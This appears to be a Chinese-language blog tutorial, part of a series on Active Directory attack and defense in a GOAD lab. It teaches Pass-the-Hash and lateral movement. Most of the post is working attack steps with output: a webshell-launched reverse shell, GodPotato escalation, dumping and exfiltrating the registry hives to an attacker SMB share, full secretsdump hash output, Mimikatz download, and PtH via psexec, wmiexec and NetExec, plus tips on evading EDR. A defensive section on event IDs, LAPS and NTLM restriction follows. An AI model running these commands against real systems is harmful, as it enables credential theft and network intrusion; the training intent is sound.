iT邦幫忙

2025 iThome 鐵人賽

DAY 10
0
Security

資安這條路:AD 攻防實戰演練系列 第 10

AD 攻防實戰演練 Day 10:Pass-the-Hash 與基礎橫向移動技術

  • 分享至 

  • xImage
  •  

在資安事件調查中,我們經常發現攻擊者在取得初始據點後,會迅速在內網中擴散。他們是如何做到的?答案就是「橫向移動」技術。而在所有橫向移動技術中,Pass-the-Hash (PTH) 是最基礎、最常見,也是每個紅隊成員必須精通的技術。昨天我們成功在 CASTELBLACK 伺服器上取得了 SYSTEM 權限,今天將學習如何利用這個據點,透過 PTH 技術在網域中進行橫向擴展。我們會深入探討 PTH 的原理、實作方法,以及各種遠端執行工具的使用技巧。

本日學習目標

在完成今天的實作後,你將能夠:

  • 精通 Pass-the-Hash 原理:理解 NTLM 認證機制與 PTH 攻擊原理
  • 熟練使用 secretsdump:從本機和遠端系統提取憑證
  • 掌握多種 PTH 工具:Impacket 套件、NetExec 的實戰應用

前置準備

環境需求

在開始之前,確保已經完成:

  • 從 Day 9 獲得 CASTELBLACK 的 SYSTEM 權限
  • GOAD 環境正常運作(192.168.139.x 網段)
  • 收集到的憑證清單:
    samwell.tarly:Heartsbane
    brandon.stark:iseedeadpeople
    jon.snow:iknownothing
    robb.stark:sexywolfy
    sql_svc:YouWillNotKerboroast1ngMeeeeee
    

工具準備

# 確認 Impacket 套件完整
ls ~/.local/bin/impacket-* | wc -l  # 應該有 60+ 工具

# 安裝 Evil-WinRM
sudo gem install evil-winrm

# 安裝 CrackMapExec 後繼者 NetExec
pipx install git+https://github.com/Pennyw0rth/NetExec

# 準備 Mimikatz(Windows 端)
wget https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip

# xfreerdp 用於 RDP
sudo apt install freerdp3-x11 -y

一、橫向移動概念與架構

1.1 橫向移動的本質

橫向移動不是漏洞利用,而是濫用合法功能

攻擊者視角:
已控制主機 A → 使用竊取的憑證 → 存取主機 B → 提取更多憑證 → 重複

防守者視角:
看起來像「合法」的管理活動,難以區分惡意行為

1.2 橫向移動技術分類

橫向移動技術架構
├── 憑證重用 (Credential Reuse)
│   ├── Pass-the-Hash (NTLM)
│   ├── Pass-the-Ticket (Kerberos)
│   ├── Overpass-the-Hash (NTLM→Kerberos)
│   └── Pass-the-Key (AES Keys)
│
├── 遠端執行協定 (Remote Execution)
│   ├── SMB-based (445/tcp)
│   │   ├── PSExec
│   │   ├── SMBExec
│   │   └── Impacket Suite
│   ├── WMI/DCOM (135/tcp + 動態)
│   │   ├── WMIExec
│   │   └── DCOM Objects
│   ├── PowerShell Remoting (5985/tcp)
│   │   ├── Enter-PSSession
│   │   └── Invoke-Command
│   └── Terminal Services (3389/tcp)
│       └── RDP
│
└── 持久化技術 (Persistence)
    ├── 計劃任務 (Scheduled Tasks)
    ├── 服務 (Services)
    ├── WMI 事件訂閱
    └── Registry 自動執行

1.3 技術選擇決策樹

需要 GUI?
  是 → RDP (3389)
  否 ↓
  
需要完整 Shell?
  是 → PSExec/WinRM
  否 ↓
  
需要隱蔽性?
  是 → WMIExec
  否 → SMBExec

二、憑證提取 - 橫向移動的彈藥庫

2.0 回顧昨日

  1. 存取 http://192.168.139.22/upload/webshell.asp
  2. 產生 payload
python3 gen_ps_payload.py 192.168.139.136 4444 > ps_payload.txt
  1. 啟動監聽器
nc -nlvp 4444

image
4. 查看 ps_payload.txt

cat ps_payload.txt

image

  1. 在 webshell 執行 payload
powershell -exec bypass -enc <base64_payload>

image
6. 查看監聽
image
7. 進入 temp 資料夾

cd C:\temp

image
8. 另外一個視窗啟動監聽器

nc -nlvp 4444

image
9. 執行提升權限腳本

./GodPotato -cmd "C:\temp\runme.bat"

image
10. 查看監聽
image

也可以直接於 Webshell 執行

C:\temp\GodPotato.exe -cmd "C:\temp\runme.bat"

image

2.1 使用 secretsdump 提取本機憑證

從我們昨天獲得的 SYSTEM 權限開始:

# 方法一:遠端提取(需要管理員憑證): 失敗
impacket-secretsdump north.sevenkingdoms.local/jon.snow:iknownothing@192.168.139.22
# 方法二:使用 SYSTEM shell 導出註冊表
# 在 SYSTEM shell 中執行:
reg save HKLM\SAM C:\temp\sam.hive
reg save HKLM\SYSTEM C:\temp\system.hive
reg save HKLM\SECURITY C:\temp\security.hive

image

# 在攻擊機 (192.168.139.136) 上建立共享
mkdir /tmp/loot
cd /tmp/loot
 ~/.venvs/impacket/bin/smbserver.py share . -smb2support

# 或帶認證(更安全)
impacket-smbserver share . -smb2support -user hacker -password password123

image

# 無認證版本
copy C:\temp\sam.hive \\192.168.139.136\share\sam.hive
copy C:\temp\system.hive \\192.168.139.136\share\system.hive
copy C:\temp\security.hive \\192.168.139.136\share\security.hive

# 需認證版本
net use \\192.168.139.136\share /user:hacker password123
copy C:\temp\*.hive \\192.168.139.136\share\
net use \\192.168.139.136\share /delete

image

ls -lah *.hive

image

# 下載檔案後本機分析
 ~/.venvs/impacket/bin/secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL

image

輸出:

[*] Target system bootKey: 0x97bdbb2a7e445586ab196ea5f4a95269
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9ab6e3005740e48ad3d422bc52e986ae:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a: (2025-09-16 06:56:09)
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405: (2025-09-18 11:41:51)
NORTH.SEVENKINGDOMS.LOCAL/jon.snow:$DCC2$10240#jon.snow#82fdcc982f02b389a002732efaca9dc5: (2025-09-19 13:59:52)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:23004c0069005b003600450041004900380024005b002c005400790041006300630030005b002d004b00340052002f0053005200560046005d0059006c00220049005d007700600049005e00550050006e00590055004000450079006700390041004400610041003a002e007a0043005300390078002f0064003f004d004b00630060006000570062007a0067004b006a0025006a007a002e0067003300450057003600610020003f00670020003f002a00600075002c0043002f004d0022005f007300740040003a003b00360075006e0046002f004b0026004200230024005b0028007a005c002a00360058007000
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:aa9f662562792331251c9e43b72c5caf
[*] DPAPI_SYSTEM
dpapi_machinekey:0x0f1113067198e23d8ab8c582ae795072cdc46d9a
dpapi_userkey:0x96518c271863cd30ca45830c38eaecd1d0bff46e
[*] NL$KM
 0000   A0 B9 07 4A 55 70 F9 F9  FA CC 68 30 15 F5 95 A2   ...JUp....h0....
 0010   58 69 29 AD 87 BA A5 9F  76 EB AC F3 07 63 71 5A   Xi).....v....cqZ
 0020   ED 26 C1 FC 5A 2B D3 25  A0 74 E6 E4 90 53 D5 19   .&..Z+.%.t...S..
 0030   E8 D6 BD D0 F3 36 76 5A  A6 74 1B 5B D8 30 90 2A   .....6vZ.t.[.0.*
NL$KM:a0b9074a5570f9f9facc683015f595a2586929ad87baa59f76ebacf30763715aed26c1fc5a2bd325a074e6e49053d519e8d6bdd0f336765aa6741b5bd830902a
[*] _SC_MSSQL$SQLEXPRESS
(Unknown User):YouWillNotKerboroast1ngMeeeeee
[*] Cleaning up...

2.2 下載 Mimikatz 到目標機器

在 Kali 當中

wget https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip

image

unzip mimikatz_trunk.zip

image

cd x64
python3 -m http.server 8080

image

在 Windows SYSTEM shell 中:

# 下載並執行 Mimikatz
Invoke-WebRequest -Uri "http://192.168.139.136:8080/mimikatz.exe" -OutFile "C:\temp\mimikatz.exe"

image

image

C:\temp\mimikatz.exe

image

三、Pass-the-Hash (PtH) 實戰

3.1 理解 PtH 原理

正常 NTLM 認證:
密碼 → NTLM Hash → Challenge/Response → 認證成功

PtH 攻擊:
竊取的 NTLM Hash → Challenge/Response → 認證成功
(跳過需要知道密碼的步驟!)

3.2 使用 Impacket 進行 PtH

# 提取到的 Administrator hash
ADMIN_HASH="aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4"

# PSExec(會建立服務,容易被偵測)
~/.venvs/impacket/bin/psexec.py -hashes $ADMIN_HASH Administrator@192.168.139.22

image

# WMIExec(使用 WMI,較隱蔽)
~/.venvs/impacket/bin/wmiexec.py -hashes $ADMIN_HASH Administrator@192.168.139.22

image

# SMBExec(不建立服務,使用計劃任務)
~/.venvs/impacket/bin/smbexec.py -hashes $ADMIN_HASH Administrator@192.168.139.22

image

# ATExec(使用 Task Scheduler)
~/.venvs/impacket/bin/atexec.py -hashes $ADMIN_HASH Administrator@192.168.139.22 "whoami"
# 如果出現 STATUS_OBJECT_NAME_NOT_FOUND 錯誤:
# 1. 重試幾次(通常第二或第三次會成功)
# 2. 改用其他執行方法(WMIExec 或 SMBExec)
# 3. 這是 ATExec 的已知問題,與時間同步或檔案系統延遲有關

3.3 使用 CrackMapExec/NetExec 批量 PtH

image

# 掃描哪些主機可以用此 hash 存取
netexec smb 192.168.139.10-23 -u Administrator -H dbd13e1c4e338284ac4e9874f7de6ef4

# 執行命令
netexec smb 192.168.139.22-23 -u Administrator -H dbd13e1c4e338284ac4e9874f7de6ef4 -x "whoami"

# 列舉共享
netexec smb 192.168.139.22 -u Administrator -H dbd13e1c4e338284ac4e9874f7de6ef4 --shares

# 提取 SAM(如果有權限)
netexec smb 192.168.139.23 -u Administrator -H dbd13e1c4e338284ac4e9874f7de6ef4 --sam

四、各種遠端執行技術深入剖析

4.1 PSExec - 經典但吵雜

# Impacket PSExec
impacket-psexec north.sevenkingdoms.local/jon.snow:iknownothing@192.168.139.22

# 運作原理:
# 1. 連線到 ADMIN$ 共享
# 2. 上傳執行檔(預設:PSEXESVC.exe)
# 3. 建立並啟動服務
# 4. 透過具名管道通訊
# 5. 清理服務和檔案

偵測點

  • Event ID 7045:新服務安裝
  • Event ID 4697:服務安裝
  • 檔案寫入 ADMIN$
  • 具名管道 \PSEXESVC

4.2 WMIExec - 較為隱蔽

# Impacket WMIExec
impacket-wmiexec north.sevenkingdoms.local/jon.snow:iknownothing@192.168.139.22

# 運作原理:
# 1. 透過 WMI 呼叫 Win32_Process.Create
# 2. 輸出寫入臨時檔案
# 3. 讀取並刪除臨時檔案

優點

  • 不建立服務
  • 使用合法的 WMI
  • 較難偵測

4.3 SMBExec - 中間選擇

# Impacket SMBExec
impacket-smbexec north.sevenkingdoms.local/jon.snow:iknownothing@192.168.139.22

# 運作原理:
# 1. 建立批次檔在 ADMIN$
# 2. 使用計劃任務執行
# 3. 輸出重定向到檔案
# 4. 讀取並清理

4.4 Evil-WinRM - PowerShell 天堂

# 連線
evil-winrm -i 192.168.139.22 -u jon.snow -p iknownothing

# 功能豐富
*Evil-WinRM* PS > upload /path/to/local/file C:\temp\file
*Evil-WinRM* PS > download C:\temp\results.txt /tmp/results.txt
*Evil-WinRM* PS > menu
*Evil-WinRM* PS > services

需求

  • 目標啟用 WinRM(5985/5986)
  • 使用者在 Remote Management Users 群組

4.5 DCOM 執行

# 使用 dcomexec
impacket-dcomexec north.sevenkingdoms.local/jon.snow:iknownothing@192.168.139.22

# 可用的 DCOM 物件:
# - MMC20.Application (MMC)
# - ShellWindows (Explorer)
# - ShellBrowserWindow (Explorer)
# - 9BA05972-F6A8-11CF-A442-00A0C90A8F39 (ShellWindows)

4.6 RDP - 圖形化存取

# xfreerdp3
xfreerdp3 /v:192.168.139.22 /u:jon.snow /p:iknownothing /d:north /cert:ignore

# 使用 PtH 進行 RDP(需要 Restricted Admin mode)
xfreerdp3 /v:192.168.139.22 /u:Administrator /pth:dbd13e1c4e338284ac4e9874f7de6ef4

五、防禦與偵測

5.1 偵測 Pass-the-Hash 攻擊

Windows 事件記錄檔分析

# 關鍵 Event ID 監控清單
Event ID 4624 - Type 3 (網路登入) + Type 9 (NewCredentials)
Event ID 4648 - 明確憑證登入
Event ID 4672 - 特權指派
Event ID 7045 - 新服務安裝 (PSExec 特徵)
Event ID 4697 - 服務安裝
Event ID 4776 - NTLM 認證

網路流量特徵

PTH 攻擊特徵:
- SMB (Port 445) 大量連線
- NTLM Type 3 訊息異常
- 非工作時間的橫向連線
- 同一帳號從多個來源 IP 登入
- 管理員帳號的異常使用模式

5.2 防禦措施實作

1. 停用 NTLM 認證(可行的話)

# GPO 設定路徑
Computer Configuration → Windows Settings → Security Settings 
→ Local Policies → Security Options
→ Network security: Restrict NTLM: NTLM authentication in this domain

# 設定為 "Deny all"(謹慎測試)

2. 啟用 Credential Guard

# 檢查 Credential Guard 狀態
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

# 透過 GPO 啟用
Computer Configuration → Administrative Templates → System 
→ Device Guard → Turn On Virtualization Based Security

3. 實作 LAPS(本機管理員密碼解決方案)

# 每台電腦的本機管理員使用唯一密碼
# 密碼儲存在 AD 並定期輪換
# 防止橫向移動使用相同的本機管理員密碼

4. 網路隔離策略

# Windows 防火牆規則範例
# 限制工作站之間的 SMB 連線
New-NetFirewallRule -DisplayName "Block Lateral SMB" `
    -Direction Inbound -Protocol TCP -LocalPort 445 `
    -RemoteAddress "192.168.139.0/24" `
    -Action Block

5.3 監控最佳實務

Honey Token 部署

# 建立誘餌帳號
New-ADUser -Name "admin_backup" `
    -AccountPassword (ConvertTo-SecureString "Complex!Pass123" -AsPlainText -Force) `
    -Description "Backup Admin Account" `
    -Enabled $false

# 監控此帳號的任何使用
# 任何登入嘗試都是警報

行為分析

異常行為指標:
1. 服務帳號的互動式登入
2. 非預期的特權提升
3. 大量失敗的認證嘗試
4. 橫向移動模式(多主機快速存取)
5. 敏感群組成員變更

小試身手

第 1 題

Pass-the-Hash 攻擊為什麼可以成功?

A. 因為 NTLM 協定的設計缺陷
B. 因為密碼太簡單
C. 因為防火牆設定錯誤
D. 因為使用了過期的作業系統

答案:A
解析:PTH 之所以可行,是因為 NTLM 認證協定允許使用 hash 值直接進行認證,而不需要知道原始密碼。這是協定設計上的特性,而非漏洞。即使使用複雜密碼或最新的作業系統,只要支援 NTLM,PTH 攻擊仍然有效。

第 2 題

下列哪個工具執行時最容易被偵測?

A. WMIExec
B. PSExec
C. SMBExec
D. Evil-WinRM

答案:B
解析:PSExec 會在目標系統上建立服務(預設名稱 PSEXESVC),產生 Event ID 7045(服務安裝)和 4697 事件,並在 ADMIN$ 共享寫入執行檔。這些行為都很容易被 EDR 和 SIEM 系統偵測。WMIExec 使用 WMI,較為隱蔽。

第 3 題

使用 secretsdump 從本機提取憑證時,需要儲存哪些登錄檔?

A. 只需要 SAM
B. SAM 和 SYSTEM
C. SAM、SYSTEM 和 SECURITY
D. SAM、SYSTEM、SECURITY 和 SOFTWARE

答案:C
解析:基本的本機密碼雜湊提取需要 SAM(儲存帳戶)和 SYSTEM(包含解密金鑰)。但要提取 LSA Secrets、快取的網域憑證等進階資訊,還需要 SECURITY 登錄檔。SOFTWARE 不是必需的。

第 4 題

NetExec 顯示 (Pwn3d!) 代表什麼意思?

A. 目標系統已關機
B. 密碼已過期
C. 擁有管理員權限
D. 防火牆已關閉

答案:C
解析:在 NetExec/CrackMapExec 中,(Pwn3d!) 標記表示提供的憑證在目標系統上具有管理員權限,可以執行命令、提取憑證等高權限操作。這是判斷橫向移動可行性的重要指標。

第 5 題

哪個 TCP 連接埠是 WinRM (PowerShell Remoting) 使用的預設連接埠?

A. 445
B. 3389  
C. 5985
D. 135

答案:C
解析:WinRM HTTP 使用 5985 埠,HTTPS 使用 5986 埠。445 是 SMB,3389 是 RDP,135 是 RPC/DCOM。Evil-WinRM 等工具都是透過 5985/5986 連接埠進行 PowerShell Remoting。

情境思考題

情境一:隱蔽橫向移動

題目:你在一次紅隊演練中,已經取得了一個網域使用者的 NTLM hash。目標環境部署了 EDR 系統,會偵測 PSExec 和服務建立行為。請說明你會如何進行橫向移動,並解釋選擇的理由。

參考答案

1. 首先使用 NetExec 進行偵察:
   - 掃描可存取的系統,確認 (Pwn3d!) 標記
   - 列舉開啟的服務和共享資料夾
   
2. 優先選擇 WMIExec 進行橫向移動:
   - WMI 是 Windows 內建功能,較不會觸發警報
   - 不會建立新服務或在 ADMIN$ 留下執行檔
   - 指令:impacket-wmiexec -hashes [hash] user@target
   
3. 如果 WMI 被封鎖,改用:
   - SMBExec:使用排程任務,痕跡較少
   - DCOM:利用 Windows COM 物件
   
4. 持續性考量:
   - 避免在同一時間對多個目標執行
   - 變換來源 IP 和執行時間
   - 使用不同的執行方法,避免行為特徵被識別

情境二:憑證管理策略

題目:你的團隊在滲透測試中收集了大量憑證(明文密碼、NTLM hash、Kerberos 票證)。請設計一個憑證管理和使用策略,確保測試的效率和安全性。

參考答案

1. 憑證分類與儲存:
   建立結構化資料庫:
   - 按權限等級分類(網域管理員 > 本機管理員 > 一般使用者)
   - 記錄來源系統和取得時間
   - 使用加密儲存,避免洩露
   
2. 憑證驗證流程:
   - 先用 NetExec 批次驗證有效性
   - 標記每個憑證可存取的系統清單
   - 定期重新驗證(密碼可能變更)
   
3. 使用優先順序:
   優先順序:Kerberos 票證 > NTLM Hash > 明文密碼
   原因:
   - Kerberos 票證有時效性,應優先使用
   - NTLM Hash 比明文密碼更隱蔽
   
4. 安全措施:
   - 測試結束立即刪除所有憑證
   - 不在測試範圍外使用憑證
   - 記錄所有憑證使用行為
   - 使用專用隔離環境進行測試
   
5. 報告建議:
   - 記錄哪些帳號被入侵
   - 標記高風險憑證(如服務帳號)
   - 提供密碼政策改善建議

總結

今天我們深入學習了 Pass-the-Hash 技術和基礎的橫向移動方法。PTH 雖然是老技術,但在現代 AD 環境中依然有效。關鍵在於:

  1. 選擇正確的工具:根據環境選擇適當的執行方式
  2. 保持隱蔽性:避免使用容易被偵測的方法
  3. 防禦思維:了解攻擊手法才能做好防禦

記住,橫向移動的藝術在於「像正常管理員一樣行動」,最好的攻擊是讓防禦者無法區分正常與惡意行為。


上一篇
AD 攻防實戰演練 Day 9:Windows 權限提升 - IIS Webshell 到 SYSTEM(使用 SeImpersonatePrivilege)
下一篇
AD 攻防實戰演練 Day 11:Pass-the-Ticket (PtT) 深度實戰:從票證竊取到域控制
系列文
資安這條路:AD 攻防實戰演練14
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言